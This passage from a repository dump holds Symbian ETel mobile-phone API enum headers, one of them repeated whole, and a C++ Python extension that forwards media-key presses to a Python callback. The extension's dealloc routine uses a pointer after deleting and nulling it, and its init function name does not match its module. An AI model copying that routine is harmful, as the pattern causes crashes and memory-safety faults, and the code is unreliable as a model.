EMobilePhoneNotifyCurrentNetworkChangeCancel, 31 | EMobilePhoneGetHomeNetworkCancel, 32 | EMobilePhoneGetDetectedNetworksCancel, 33 | EMobilePhoneSetNetworkSelectionSettingCancel, 34 | EMobilePhoneNotifyNetworkSelectionSettingChangeCancel, 35 | EMobilePhoneSelectNetworkCancel, 36 | EMobilePhoneNotifyNITZInfoChangeCancel, 37 | EMobilePhoneSetDefaultPrivacyCancel, 38 | EMobilePhoneNotifyDefaultPrivacyChangeCancel, 39 | EMobilePhoneNotifyCallServiceCapsChangeCancel, 40 | EMobilePhoneProgramFeatureCodeCancel, 41 | EMobilePhoneGetFeatureCodeCancel, 42 | EMobilePhoneSendNetworkServiceRequestCancel, 43 | EMobilePhoneGetCallForwardingStatusCancel, 44 | EMobilePhoneSetCallForwardingStatusCancel, 45 | EMobilePhoneNotifyCallForwardingStatusChangeCancel, 46 | EMobilePhoneNotifyCallForwardingActiveCancel, 47 | EMobilePhoneGetIdentityServiceStatusCancel, 48 | EMobilePhoneGetBarringStatusCancel, 49 | EMobilePhoneSetCallBarringStatusCancel, 50 | EMobilePhoneNotifyCallBarringStatusChangeCancel, 51 | EMobilePhoneSetCallBarringPasswordCancel, 52 | EMobilePhoneGetWaitingStatusCancel, 53 | EMobilePhoneSetCallWaitingStatusCancel, 54 | EMobilePhoneNotifyCallWaitingStatusChangeCancel, 55 | EMobilePhoneNotifyCCBSStatusChangeCancel, 56 | EMobilePhoneDeactivateAllCCBSCancel, 57 | EMobilePhoneGetCompletionRequestsCancel, 58 | EMobilePhoneGetCCBSStatusCancel, 59 | EMobilePhoneNotifyAlternatingCallCapsChangeCancel, 60 | EMobilePhoneSetAlternatingCallModeCancel, 61 | EMobilePhoneNotifyAlternatingCallModeChangeCancel, 62 | EMobilePhoneSetALSLineCancel, 63 | EMobilePhoneNotifyALSLineChangeCancel, 64 | EMobilePhoneNotifyCostCapsChangeCancel, 65 | EMobilePhoneClearCostMeterCancel, 66 | EMobilePhoneSetMaxCostMeterCancel, 67 | EMobilePhoneSetPuctCancel, 68 | EMobilePhoneGetCostInfoCancel, 69 | EMobilePhoneNotifyCostInfoChangeCancel, 70 | EMobilePhoneNotifySecurityCapsChangeCancel, 71 | EMobilePhoneNotifyLockInfoChangeCancel, 72 | EMobilePhoneSetLockSettingCancel, 73 | EMobilePhoneChangeSecurityCodeCancel, 74 | EMobilePhoneNotifySecurityEventCancel, 75 | EMobilePhoneVerifySecurityCodeCancel, 76 | EMobilePhoneNotifyMessageWaitingCancel, 77 | EMobilePhoneSetFdnSettingCancel, 78 | EMobilePhoneNotifyFdnStatusChangeCancel, 79 | EMobilePhoneGetMulticallParamsCancel, 80 | EMobilePhoneSetMulticallParamsCancel, 81 | EMobilePhoneNotifyMulticallParamsChangeCancel, 82 | EMobilePhoneGetIncomingCallTypeCancel, 83 | EMobilePhoneSetIncomingCallTypeCancel, 84 | EMobilePhoneNotifyIncomingCallTypeChangeCancel, 85 | EMobilePhoneGetUUSSettingCancel, 86 | EMobilePhoneSetUUSSettingCancel, 87 | EMobilePhoneNotifyUUSSettingChangeCancel, 88 | EMobilePhoneGetIccMessageWaitingIndicatorsCancel, 89 | EMobilePhoneSetIccMessageWaitingIndicatorsCancel, 90 | EMobilePhoneNotifyIccMessageWaitingIndicatorsChangeCancel, 91 | }; 92 | 93 | enum { 94 | EMobilePhoneGetMultimodeCaps, 95 | EMobilePhoneGetPhoneStoreInfo, 96 | EMobilePhoneGetIccAccessCaps, 97 | EMobilePhoneNotifyIccAccessCapsChange, 98 | EMobilePhoneGetCustomerServiceProfile, 99 | EMobilePhoneGetServiceTable, 100 | EMobilePhoneGetBatteryCaps, 101 | EMobilePhoneGetBatteryInfo, 102 | EMobilePhoneNotifyBatteryInfoChange, 103 | EMobilePhoneGetSignalCaps, 104 | EMobilePhoneGetSignalStrength, 105 | EMobilePhoneNotifySignalStrengthChange, 106 | EMobilePhoneGetIndicatorCaps, 107 | EMobilePhoneGetIndicator, 108 | EMobilePhoneNotifyIndicatorChange, 109 | EMobilePhoneGetIdentityCaps, 110 | EMobilePhoneGetPhoneId, 111 | EMobilePhoneGetSubscriberId, 112 | EMobilePhoneGetDTMFCaps, 113 | EMobilePhoneNotifyDTMFCapsChange, 114 | EMobilePhoneSendDTMFTones, 115 | EMobilePhoneStartDTMFTone, 116 | EMobilePhoneStopDTMFTone, 117 | EMobilePhoneNotifyStopInDTMFString, 118 | EMobilePhoneContinueDTMFStringSending, 119 | EMobilePhoneGetNetworkCaps, 120 | EMobilePhoneGetNetworkRegistrationStatus, 121 | EMobilePhoneNotifyNetworkRegistrationStatusChange, 122 | EMobilePhoneGetCurrentMode, 123 | EMobilePhoneNotifyModeChange, 124 | EMobilePhoneGetCurrentNetwork, 125 | EMobilePhoneNotifyCurrentNetworkChange, 126 | EMobilePhoneGetHomeNetwork, 127 | EMobilePhoneGetDetectedNetworksPhase1, 128 | EMobilePhoneGetDetectedNetworksPhase2, 129 | EMobilePhoneGetNetworkSelectionSetting, 130 | EMobilePhoneSetNetworkSelectionSetting, 131 | EMobilePhoneNotifyNetworkSelectionSettingChange, 132 | EMobilePhoneSelectNetwork, 133 | EMobilePhoneGetNITZInfo, 134 | EMobilePhoneNotifyNITZInfoChange, 135 | EMobilePhoneGetDefaultPrivacy, 136 | EMobilePhoneSetDefaultPrivacy, 137 | EMobilePhoneNotifyDefaultPrivacyChange, 138 | EMobilePhoneGetCallServiceCaps, 139 | EMobilePhoneNotifyCallServiceCapsChange, 140 | EMobilePhoneProgramFeatureCode, 141 | EMobilePhoneGetFeatureCode, 142 | EMobilePhoneSendNetworkServiceRequest, 143 | EMobilePhoneGetCallForwardingStatusPhase1, 144 | EMobilePhoneGetCallForwardingStatusPhase2, 145 | EMobilePhoneSetCallForwardingStatus, 146 | EMobilePhoneNotifyCallForwardingStatusChange, 147 | EMobilePhoneNotifyCallForwardingActive, 148 | EMobilePhoneGetIdentityServiceStatus, 149 | EMobilePhoneGetBarringStatusPhase1, 150 | EMobilePhoneGetBarringStatusPhase2, 151 | EMobilePhoneSetCallBarringStatus, 152 | EMobilePhoneNotifyCallBarringStatusChange, 153 | EMobilePhoneSetCallBarringPassword, 154 | EMobilePhoneGetWaitingStatusPhase1, 155 | EMobilePhoneGetWaitingStatusPhase2, 156 | EMobilePhoneSetCallWaitingStatus, 157 | EMobilePhoneNotifyCallWaitingStatusChange, 158 | EMobilePhoneGetCCBSStatus, 159 | EMobilePhoneNotifyCCBSStatusChange, 160 | EMobilePhoneDeactivateAllCCBS, 161 | EMobilePhoneGetCompletionRequestsPhase1, 162 | EMobilePhoneGetCompletionRequestsPhase2, 163 | EMobilePhoneGetAlternatingCallCaps, 164 | EMobilePhoneNotifyAlternatingCallCapsChange, 165 | EMobilePhoneGetAlternatingCallMode, 166 | EMobilePhoneSetAlternatingCallMode, 167 | EMobilePhoneNotifyAlternatingCallModeChange, 168 | EMobilePhoneGetALSLine, 169 | EMobilePhoneSetALSLine, 170 | EMobilePhoneNotifyALSLineChange, 171 | EMobilePhoneGetCostCaps, 172 | EMobilePhoneNotifyCostCapsChange, 173 | EMobilePhoneClearCostMeter, 174 | EMobilePhoneSetMaxCostMeter, 175 | EMobilePhoneSetPuct, 176 | EMobilePhoneGetCostInfo, 177 | EMobilePhoneNotifyCostInfoChange, 178 | EMobilePhoneGetSecurityCaps, 179 | EMobilePhoneNotifySecurityCapsChange, 180 | EMobilePhoneGetLockInfo, 181 | EMobilePhoneNotifyLockInfoChange, 182 | EMobilePhoneSetLockSetting, 183 | EMobilePhoneChangeSecurityCode, 184 | EMobilePhoneNotifySecurityEvent, 185 | EMobilePhoneVerifySecurityCode, 186 | EMobilePhoneAbortSecurityCode, 187 | EMobilePhoneNotifyMessageWaiting, 188 | EMobilePhoneGetFdnStatus, 189 | EMobilePhoneSetFdnSetting, 190 | EMobilePhoneNotifyFdnStatusChange, 191 | EMobilePhoneGetMulticallParams, 192 | EMobilePhoneSetMulticallParams, 193 | EMobilePhoneNotifyMulticallParamsChange, 194 | EMobilePhoneGetIncomingCallType, 195 | EMobilePhoneSetIncomingCallType, 196 | EMobilePhoneNotifyIncomingCallTypeChange, 197 | EMobilePhoneGetUUSSetting, 198 | EMobilePhoneSetUUSSetting, 199 | EMobilePhoneNotifyUUSSettingChange, 200 | EMobilePhoneGetIccMessageWaitingIndicators, 201 | EMobilePhoneSetIccMessageWaitingIndicators, 202 | EMobilePhoneNotifyIccMessageWaitingIndicatorsChange 203 | }; 204 | -------------------------------------------------------------------------------- /ETELMMCS (01).H: -------------------------------------------------------------------------------- 1 | // ETELMMCS.H 2 | // 3 | // Author: Nickolay Golubev 4 | // Contact: 2nike@mail.ru 5 | // Version 0.01 6 | // Updated 16.09.2003 7 | // 8 | 9 | 10 | enum { 11 | EMobilePhoneGetPhoneStoreInfoCancel, 12 | EMobilePhoneNotifyIccAccessCapsChangeCancel, 13 | EMobilePhoneGetCustomerServiceProfileCancel, 14 | EMobilePhoneGetServiceTableCancel, 15 | EMobilePhoneGetBatteryInfoCancel, 16 | EMobilePhoneNotifyBatteryInfoChangeCancel, 17 | EMobilePhoneGetSignalStrengthCancel, 18 | EMobilePhoneNotifySignalStrengthChangeCancel, 19 | EMobilePhoneGetIndicatorCancel, 20 | EMobilePhoneNotifyIndicatorChangeCancel, 21 | EMobilePhoneGetPhoneIdCancel, 22 | EMobilePhoneGetSubscriberIdCancel, 23 | EMobilePhoneNotifyDTMFCapsChangeCancel, 24 | EMobilePhoneSendDTMFTonesCancel, 25 | EMobilePhoneNotifyStopInDTMFStringCancel, 26 | EMobilePhoneGetNetworkRegistrationStatusCancel, 27 | EMobilePhoneNotifyNetworkRegistrationStatusChangeCancel, 28 | EMobilePhoneNotifyModeChangeCancel, 29 | EMobilePhoneGetCurrentNetworkCancel, 30 | EMobilePhoneNotifyCurrentNetworkChangeCancel, 31 | EMobilePhoneGetHomeNetworkCancel, 32 | EMobilePhoneGetDetectedNetworksCancel, 33 | EMobilePhoneSetNetworkSelectionSettingCancel, 34 | EMobilePhoneNotifyNetworkSelectionSettingChangeCancel, 35 | EMobilePhoneSelectNetworkCancel, 36 | EMobilePhoneNotifyNITZInfoChangeCancel, 37 | EMobilePhoneSetDefaultPrivacyCancel, 38 | EMobilePhoneNotifyDefaultPrivacyChangeCancel, 39 | EMobilePhoneNotifyCallServiceCapsChangeCancel, 40 | EMobilePhoneProgramFeatureCodeCancel, 41 | EMobilePhoneGetFeatureCodeCancel, 42 | EMobilePhoneSendNetworkServiceRequestCancel, 43 | EMobilePhoneGetCallForwardingStatusCancel, 44 | EMobilePhoneSetCallForwardingStatusCancel, 45 | EMobilePhoneNotifyCallForwardingStatusChangeCancel, 46 | EMobilePhoneNotifyCallForwardingActiveCancel, 47 | EMobilePhoneGetIdentityServiceStatusCancel, 48 | EMobilePhoneGetBarringStatusCancel, 49 | EMobilePhoneSetCallBarringStatusCancel, 50 | EMobilePhoneNotifyCallBarringStatusChangeCancel, 51 | EMobilePhoneSetCallBarringPasswordCancel, 52 | EMobilePhoneGetWaitingStatusCancel, 53 | EMobilePhoneSetCallWaitingStatusCancel, 54 | EMobilePhoneNotifyCallWaitingStatusChangeCancel, 55 | EMobilePhoneNotifyCCBSStatusChangeCancel, 56 | EMobilePhoneDeactivateAllCCBSCancel, 57 | EMobilePhoneGetCompletionRequestsCancel, 58 | EMobilePhoneGetCCBSStatusCancel, 59 | EMobilePhoneNotifyAlternatingCallCapsChangeCancel, 60 | EMobilePhoneSetAlternatingCallModeCancel, 61 | EMobilePhoneNotifyAlternatingCallModeChangeCancel, 62 | EMobilePhoneSetALSLineCancel, 63 | EMobilePhoneNotifyALSLineChangeCancel, 64 | EMobilePhoneNotifyCostCapsChangeCancel, 65 | EMobilePhoneClearCostMeterCancel, 66 | EMobilePhoneSetMaxCostMeterCancel, 67 | EMobilePhoneSetPuctCancel, 68 | EMobilePhoneGetCostInfoCancel, 69 | EMobilePhoneNotifyCostInfoChangeCancel, 70 | EMobilePhoneNotifySecurityCapsChangeCancel, 71 | EMobilePhoneNotifyLockInfoChangeCancel, 72 | EMobilePhoneSetLockSettingCancel, 73 | EMobilePhoneChangeSecurityCodeCancel, 74 | EMobilePhoneNotifySecurityEventCancel, 75 | EMobilePhoneVerifySecurityCodeCancel, 76 | EMobilePhoneNotifyMessageWaitingCancel, 77 | EMobilePhoneSetFdnSettingCancel, 78 | EMobilePhoneNotifyFdnStatusChangeCancel, 79 | EMobilePhoneGetMulticallParamsCancel, 80 | EMobilePhoneSetMulticallParamsCancel, 81 | EMobilePhoneNotifyMulticallParamsChangeCancel, 82 | EMobilePhoneGetIncomingCallTypeCancel, 83 | EMobilePhoneSetIncomingCallTypeCancel, 84 | EMobilePhoneNotifyIncomingCallTypeChangeCancel, 85 | EMobilePhoneGetUUSSettingCancel, 86 | EMobilePhoneSetUUSSettingCancel, 87 | EMobilePhoneNotifyUUSSettingChangeCancel, 88 | EMobilePhoneGetIccMessageWaitingIndicatorsCancel, 89 | EMobilePhoneSetIccMessageWaitingIndicatorsCancel, 90 | EMobilePhoneNotifyIccMessageWaitingIndicatorsChangeCancel, 91 | }; 92 | 93 | enum { 94 | EMobilePhoneGetMultimodeCaps, 95 | EMobilePhoneGetPhoneStoreInfo, 96 | EMobilePhoneGetIccAccessCaps, 97 | EMobilePhoneNotifyIccAccessCapsChange, 98 | EMobilePhoneGetCustomerServiceProfile, 99 | EMobilePhoneGetServiceTable, 100 | EMobilePhoneGetBatteryCaps, 101 | EMobilePhoneGetBatteryInfo, 102 | EMobilePhoneNotifyBatteryInfoChange, 103 | EMobilePhoneGetSignalCaps, 104 | EMobilePhoneGetSignalStrength, 105 | EMobilePhoneNotifySignalStrengthChange, 106 | EMobilePhoneGetIndicatorCaps, 107 | EMobilePhoneGetIndicator, 108 | EMobilePhoneNotifyIndicatorChange, 109 | EMobilePhoneGetIdentityCaps, 110 | EMobilePhoneGetPhoneId, 111 | EMobilePhoneGetSubscriberId, 112 | EMobilePhoneGetDTMFCaps, 113 | EMobilePhoneNotifyDTMFCapsChange, 114 | EMobilePhoneSendDTMFTones, 115 | EMobilePhoneStartDTMFTone, 116 | EMobilePhoneStopDTMFTone, 117 | EMobilePhoneNotifyStopInDTMFString, 118 | EMobilePhoneContinueDTMFStringSending, 119 | EMobilePhoneGetNetworkCaps, 120 | EMobilePhoneGetNetworkRegistrationStatus, 121 | EMobilePhoneNotifyNetworkRegistrationStatusChange, 122 | EMobilePhoneGetCurrentMode, 123 | EMobilePhoneNotifyModeChange, 124 | EMobilePhoneGetCurrentNetwork, 125 | EMobilePhoneNotifyCurrentNetworkChange, 126 | EMobilePhoneGetHomeNetwork, 127 | EMobilePhoneGetDetectedNetworksPhase1, 128 | EMobilePhoneGetDetectedNetworksPhase2, 129 | EMobilePhoneGetNetworkSelectionSetting, 130 | EMobilePhoneSetNetworkSelectionSetting, 131 | EMobilePhoneNotifyNetworkSelectionSettingChange, 132 | EMobilePhoneSelectNetwork, 133 | EMobilePhoneGetNITZInfo, 134 | EMobilePhoneNotifyNITZInfoChange, 135 | EMobilePhoneGetDefaultPrivacy, 136 | EMobilePhoneSetDefaultPrivacy, 137 | EMobilePhoneNotifyDefaultPrivacyChange, 138 | EMobilePhoneGetCallServiceCaps, 139 | EMobilePhoneNotifyCallServiceCapsChange, 140 | EMobilePhoneProgramFeatureCode, 141 | EMobilePhoneGetFeatureCode, 142 | EMobilePhoneSendNetworkServiceRequest, 143 | EMobilePhoneGetCallForwardingStatusPhase1, 144 | EMobilePhoneGetCallForwardingStatusPhase2, 145 | EMobilePhoneSetCallForwardingStatus, 146 | EMobilePhoneNotifyCallForwardingStatusChange, 147 | EMobilePhoneNotifyCallForwardingActive, 148 | EMobilePhoneGetIdentityServiceStatus, 149 | EMobilePhoneGetBarringStatusPhase1, 150 | EMobilePhoneGetBarringStatusPhase2, 151 | EMobilePhoneSetCallBarringStatus, 152 | EMobilePhoneNotifyCallBarringStatusChange, 153 | EMobilePhoneSetCallBarringPassword, 154 | EMobilePhoneGetWaitingStatusPhase1, 155 | EMobilePhoneGetWaitingStatusPhase2, 156 | EMobilePhoneSetCallWaitingStatus, 157 | EMobilePhoneNotifyCallWaitingStatusChange, 158 | EMobilePhoneGetCCBSStatus, 159 | EMobilePhoneNotifyCCBSStatusChange, 160 | EMobilePhoneDeactivateAllCCBS, 161 | EMobilePhoneGetCompletionRequestsPhase1, 162 | EMobilePhoneGetCompletionRequestsPhase2, 163 | EMobilePhoneGetAlternatingCallCaps, 164 | EMobilePhoneNotifyAlternatingCallCapsChange, 165 | EMobilePhoneGetAlternatingCallMode, 166 | EMobilePhoneSetAlternatingCallMode, 167 | EMobilePhoneNotifyAlternatingCallModeChange, 168 | EMobilePhoneGetALSLine, 169 | EMobilePhoneSetALSLine, 170 | EMobilePhoneNotifyALSLineChange, 171 | EMobilePhoneGetCostCaps, 172 | EMobilePhoneNotifyCostCapsChange, 173 | EMobilePhoneClearCostMeter, 174 | EMobilePhoneSetMaxCostMeter, 175 | EMobilePhoneSetPuct, 176 | EMobilePhoneGetCostInfo, 177 | EMobilePhoneNotifyCostInfoChange, 178 | EMobilePhoneGetSecurityCaps, 179 | EMobilePhoneNotifySecurityCapsChange, 180 | EMobilePhoneGetLockInfo, 181 | EMobilePhoneNotifyLockInfoChange, 182 | EMobilePhoneSetLockSetting, 183 | EMobilePhoneChangeSecurityCode, 184 | EMobilePhoneNotifySecurityEvent, 185 | EMobilePhoneVerifySecurityCode, 186 | EMobilePhoneAbortSecurityCode, 187 | EMobilePhoneNotifyMessageWaiting, 188 | EMobilePhoneGetFdnStatus, 189 | EMobilePhoneSetFdnSetting, 190 | EMobilePhoneNotifyFdnStatusChange, 191 | EMobilePhoneGetMulticallParams, 192 | EMobilePhoneSetMulticallParams, 193 | EMobilePhoneNotifyMulticallParamsChange, 194 | EMobilePhoneGetIncomingCallType, 195 | EMobilePhoneSetIncomingCallType, 196 | EMobilePhoneNotifyIncomingCallTypeChange, 197 | EMobilePhoneGetUUSSetting, 198 | EMobilePhoneSetUUSSetting, 199 | EMobilePhoneNotifyUUSSettingChange, 200 | EMobilePhoneGetIccMessageWaitingIndicators, 201 | EMobilePhoneSetIccMessageWaitingIndicators, 202 | EMobilePhoneNotifyIccMessageWaitingIndicatorsChange 203 | }; 204 | -------------------------------------------------------------------------------- /newmediakeys_2.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "mediakeys.h" 3 | 4 | 5 | //---------------------------------------------------------------------------- 6 | 7 | 8 | void CMediaKeysTestUi::ConstructL() 9 | { 10 | 11 | iInterfaceSelector =CRemConInterfaceSelector::NewL(); 12 | iCoreTarget = CRemConCoreApiTarget::NewL(*iInterfaceSelector, *this); 13 | iInterfaceSelector->OpenTargetL(); 14 | iTimer = CPeriodic::NewL(CActive::EPriorityUserInput); 15 | iNum=0; 16 | } 17 | 18 | //---------------------------------------------------------------------------- 19 | CMediaKeysTestUi::CMediaKeysTestUi():iCb(NULL) 20 | { 21 | } 22 | 23 | //--------------------------------------------------------------------------- 24 | CMediaKeysTestUi::~CMediaKeysTestUi() 25 | { 26 | iTimer->Cancel(); 27 | delete iTimer; 28 | delete iInterfaceSelector; 29 | delete iCoreTarget;// EKERN-EXEC 3 30 | Py_XDECREF(iCb); 31 | } 32 | 33 | //--------------------------------------------------------------------------- 34 | 35 | void CMediaKeysTestUi::CallPy() 36 | { 37 | PyObject *arglist; 38 | arglist = Py_BuildValue("(i)", iNum); 39 | PyEval_RestoreThread(PYTHON_TLS->thread_state); 40 | PyEval_CallObject(iCb, arglist); 41 | PyEval_SaveThread(); 42 | Py_DECREF(arglist); 43 | } 44 | 45 | 46 | //--------------------------------------------------------------------------- 47 | void CMediaKeysTestUi::MrccatoCommand(TRemConCoreApiOperationId aOperationId, 48 | TRemConCoreApiButtonAction aButtonAct) 49 | { 50 | TRequestStatus status; 51 | iNum=0; 52 | 53 | switch( aOperationId ) 54 | { 55 | case ERemConCoreApiPausePlayFunction: 56 | { 57 | switch (aButtonAct) 58 | { 59 | 60 | case ERemConCoreApiButtonPress: 61 | iNum=5; 62 | break; 63 | 64 | case ERemConCoreApiButtonRelease: 65 | iNum=6; 66 | break; 67 | 68 | case ERemConCoreApiButtonClick: 69 | iNum=17; 70 | break; 71 | 72 | default: break; 73 | } 74 | 75 | iCoreTarget->PausePlayFunctionResponse(status, KErrNone); 76 | User::WaitForRequest(status); 77 | break; 78 | } 79 | 80 | 81 | 82 | case ERemConCoreApiStop: 83 | { 84 | switch (aButtonAct) 85 | { 86 | case ERemConCoreApiButtonPress: 87 | iNum=7; 88 | break; 89 | 90 | case ERemConCoreApiButtonRelease: 91 | iNum=8; 92 | break; 93 | 94 | case ERemConCoreApiButtonClick: 95 | iNum=18; 96 | break; 97 | 98 | default: break; 99 | } 100 | 101 | iCoreTarget->StopResponse(status, KErrNone); 102 | User::WaitForRequest(status); 103 | break; 104 | } 105 | 106 | 107 | 108 | case ERemConCoreApiRewind: 109 | { 110 | switch (aButtonAct) 111 | { 112 | case ERemConCoreApiButtonPress: 113 | iNum=9; 114 | break; 115 | 116 | case ERemConCoreApiButtonRelease: 117 | iNum=10; 118 | break; 119 | 120 | case ERemConCoreApiButtonClick: 121 | iNum=19; 122 | break; 123 | 124 | default: break; 125 | } 126 | 127 | iCoreTarget->RewindResponse(status, KErrNone); 128 | User::WaitForRequest(status); 129 | break; 130 | } 131 | case ERemConCoreApiForward: 132 | { 133 | switch (aButtonAct) 134 | { 135 | case ERemConCoreApiButtonPress: 136 | iNum=15; 137 | break; 138 | 139 | case ERemConCoreApiButtonRelease: 140 | iNum=16; 141 | break; 142 | 143 | case ERemConCoreApiButtonClick: 144 | iNum=20; 145 | break; 146 | 147 | default: break; 148 | } 149 | 150 | iCoreTarget->ForwardResponse(status, KErrNone); 151 | User::WaitForRequest(status); 152 | break; 153 | } 154 | case ERemConCoreApiVolumeUp: 155 | { 156 | 157 | switch (aButtonAct) 158 | { 159 | 160 | case ERemConCoreApiButtonPress: 161 | iNum=1; 162 | break; 163 | 164 | case ERemConCoreApiButtonRelease: 165 | iNum=2; 166 | break; 167 | 168 | case ERemConCoreApiButtonClick: 169 | iNum=21; 170 | break; 171 | 172 | 173 | default: break; 174 | } 175 | 176 | iCoreTarget->VolumeUpResponse(status, KErrNone); 177 | User::WaitForRequest(status); 178 | break; 179 | } 180 | case ERemConCoreApiVolumeDown: 181 | { 182 | switch (aButtonAct) 183 | { 184 | case ERemConCoreApiButtonPress: 185 | iNum=3; 186 | break; 187 | 188 | case ERemConCoreApiButtonRelease: 189 | iNum=4; 190 | break; 191 | 192 | case ERemConCoreApiButtonClick: 193 | iNum=22; 194 | break; 195 | 196 | default: break; 197 | } 198 | 199 | 200 | iCoreTarget->VolumeDownResponse(status, KErrNone); 201 | User::WaitForRequest(status); 202 | break; 203 | } 204 | 205 | 206 | case ERemConCoreApiFastForward: 207 | { 208 | switch (aButtonAct) 209 | { 210 | case ERemConCoreApiButtonPress: 211 | iNum=11; 212 | break; 213 | 214 | case ERemConCoreApiButtonRelease: 215 | iNum=12; 216 | break; 217 | 218 | case ERemConCoreApiButtonClick: 219 | iNum=23; 220 | break; 221 | 222 | 223 | default: break; 224 | } 225 | 226 | iCoreTarget->FastForwardResponse(status, KErrNone); 227 | User::WaitForRequest(status); 228 | break; 229 | } 230 | 231 | case ERemConCoreApiBackward: 232 | { 233 | switch (aButtonAct) 234 | { 235 | 236 | case ERemConCoreApiButtonPress: 237 | iNum=13; 238 | break; 239 | 240 | case ERemConCoreApiButtonRelease: 241 | iNum=14; 242 | break; 243 | 244 | case ERemConCoreApiButtonClick: 245 | iNum=24; 246 | break; 247 | 248 | 249 | default: break; 250 | } 251 | 252 | iCoreTarget->BackwardResponse(status, KErrNone); 253 | User::WaitForRequest(status); 254 | break; 255 | } 256 | default: break; 257 | } 258 | 259 | 260 | if(iNum) 261 | { 262 | if( iNum==1 || iNum==3 ) 263 | iTimer->Start(200000,200000, TCallBack(CTimerCallBack, this)); 264 | else 265 | { 266 | iTimer->Cancel(); 267 | CallPy(); 268 | } 269 | } 270 | 271 | } 272 | //--------------------------------------------------------------------------- 273 | 274 | TInt CMediaKeysTestUi::CTimerCallBack(TAny* aPtr) 275 | { 276 | CMediaKeysTestUi* self = static_cast(aPtr); 277 | self->CallPy(); 278 | return 0; 279 | } 280 | //--------------------------------------------------------------------------- 281 | 282 | #define Mediakey_type ((PyTypeObject*)SPyGetGlobalString("MediaKeys")) 283 | struct obj_Mediakey { 284 | PyObject_VAR_HEAD // PyObject_HEAD; 285 | CMediaKeysTestUi* iMediaKeysTestUi; 286 | }; 287 | 288 | 289 | //--------------------------------------------------------------------------- 290 | 291 | static PyObject* New_Mediakey(obj_Mediakey* self, PyObject* args) 292 | 293 | { 294 | 295 | PyObject *c = NULL; 296 | 297 | if (!PyArg_ParseTuple(args, "O:set_callback", &c)) 298 | return NULL; 299 | 300 | 301 | obj_Mediakey *ir = PyObject_New(obj_Mediakey, Mediakey_type); 302 | if (!ir) return NULL; 303 | 304 | ir->iMediaKeysTestUi = 0; 305 | TRAPD(err, 306 | ir->iMediaKeysTestUi = new CMediaKeysTestUi(); 307 | ir->iMediaKeysTestUi->ConstructL(); 308 | ir->iMediaKeysTestUi->iCb = c; 309 | Py_XINCREF(ir->iMediaKeysTestUi->iCb); 310 | 311 | ); 312 | 313 | if (err) 314 | { 315 | PyObject_Del(ir); 316 | return SPyErr_SetFromSymbianOSErr(err); 317 | } 318 | 319 | return (PyObject*)ir; 320 | } 321 | 322 | 323 | 324 | //--------------------------------------------------------------------------- 325 | 326 | static void dealloc_Audiostream(obj_Mediakey* audiostream) 327 | { 328 | //memory leaks ? 329 | delete audiostream->iMediaKeysTestUi; 330 | audiostream->iMediaKeysTestUi = NULL; 331 | 332 | audiostream->iMediaKeysTestUi->iTimer->Cancel(); 333 | delete audiostream->iMediaKeysTestUi->iTimer; 334 | delete audiostream->iMediaKeysTestUi->iInterfaceSelector; 335 | Py_XDECREF(audiostream->iMediaKeysTestUi->iCb); 336 | 337 | PyObject_Del(audiostream); 338 | } 339 | 340 | 341 | 342 | static const PyTypeObject type_template_Mediakeys = { 343 | PyObject_HEAD_INIT(0) 344 | 0, /*ob_size*/ 345 | "mediakeys.New", /*tp_name*/ 346 | sizeof(obj_Mediakey), /*tp_basicsize*/ 347 | 0, /*tp_itemsize*/ 348 | /* methods */ 349 | (destructor)dealloc_Audiostream, /*tp_dealloc*/ 350 | 0, /*tp_print*/ 351 | 352 | }; 353 | 354 | 355 | static const PyMethodDef mediakeys_methods[] = 356 | { 357 | {"New", (PyCFunction)New_Mediakey, METH_VARARGS}, 358 | {0, 0} 359 | }; 360 | 361 | 362 | #define DEFTYPE(name,type_template) do {\ 363 | PyTypeObject* tmp = PyObject_New(PyTypeObject, &PyType_Type);\ 364 | *tmp = (type_template);\ 365 | tmp->ob_type = &PyType_Type;\ 366 | SPyAddGlobalString((name), (PyObject*)tmp);\ 367 | } while (0) 368 | 369 | 370 | 371 | extern "C" { 372 | 373 | DL_EXPORT(void) initaudiostream(void) 374 | { 375 | PyObject *m; 376 | DEFTYPE("MediaKeys",type_template_Mediakeys); 377 | m = Py_InitModule("mediakeys", (PyMethodDef*)mediakeys_methods); 378 | PyModule_GetDict(m); 379 | } 380 | 381 | 382 | } 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | --------------------------------------------------------------------------------